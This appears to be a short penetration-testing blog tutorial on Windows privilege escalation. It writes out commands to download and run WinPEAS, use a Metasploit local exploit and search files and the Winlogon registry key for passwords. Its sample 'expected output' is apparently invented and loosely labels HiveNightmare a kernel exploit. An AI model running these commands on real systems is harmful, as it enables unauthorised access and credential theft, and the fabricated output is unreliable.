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Privilege escalation is a critical phase in penetration testing, allowing attackers to gain higher-level access on a system. This article focuses on Windows Privilege Escalation, specifically Kernel Exploits and Automated Tools.
Automated Tools Overview
Automated tools simplify privilege escalation by identifying vulnerabilities quickly. Some widely used tools include:
- Windows Exploit Suggester (WES) – Compares system patches against known exploits.
- PowerUp – A PowerShell script that checks for misconfigurations.
- WinPEAS – Enumerates system information to find escalation paths.
Example: Running WinPEAS
Invoke-WebRequest -Uri "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat" -OutFile "winPEAS.bat" .\winPEAS.bat
Escalation Path: Kernel Exploits
Kernel exploits target vulnerabilities in the Windows OS kernel. Successful exploitation grants SYSTEM privileges.
Using Metasploit for Kernel Exploitation
1. Identify the OS version:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
2. Search for exploits:
use exploit/windows/local/[exploit_name] set SESSION [session_id] exploit
Manual Kernel Exploitation
1. Find exploits manually:
- Search databases like ExploitDB.
- Cross-reference with the OS version.
2. Compile and execute:
- Use gcc (Linux) or MinGW (Windows) to compile.
- Transfer and run the exploit.
You Should Know: Essential Commands for Windows PrivEsc
System Information Gathering
whoami /priv Check current privileges wmic qfe get Caption,Description,HotFixID,InstalledOn List installed patches
Service Misconfigurations
sc query state= all List all services accesschk.exe -uwcqv "Authenticated Users" /accepteula Check service permissions
Password Hunting
findstr /si password .txt .xml .ini Search for passwords in files reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" Check auto-login
What Undercode Say
Kernel exploits remain a powerful method for privilege escalation, but they require careful execution to avoid system crashes. Always verify the target’s patch level before attempting exploits. Automated tools like WinPEAS and PowerUp save time, but manual checks ensure precision.
For further learning:
Expected Output:
[+] Kernel Exploit Found: CVE-2021-36934 (HiveNightmare) [!] Suggested Exploit: https://github.com/GossiTheDog/HiveNightmare [+] Running Exploit... [] Privilege Escalation Successful! (NT AUTHORITY\SYSTEM)
References:
Reported By: Todd Mattran – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
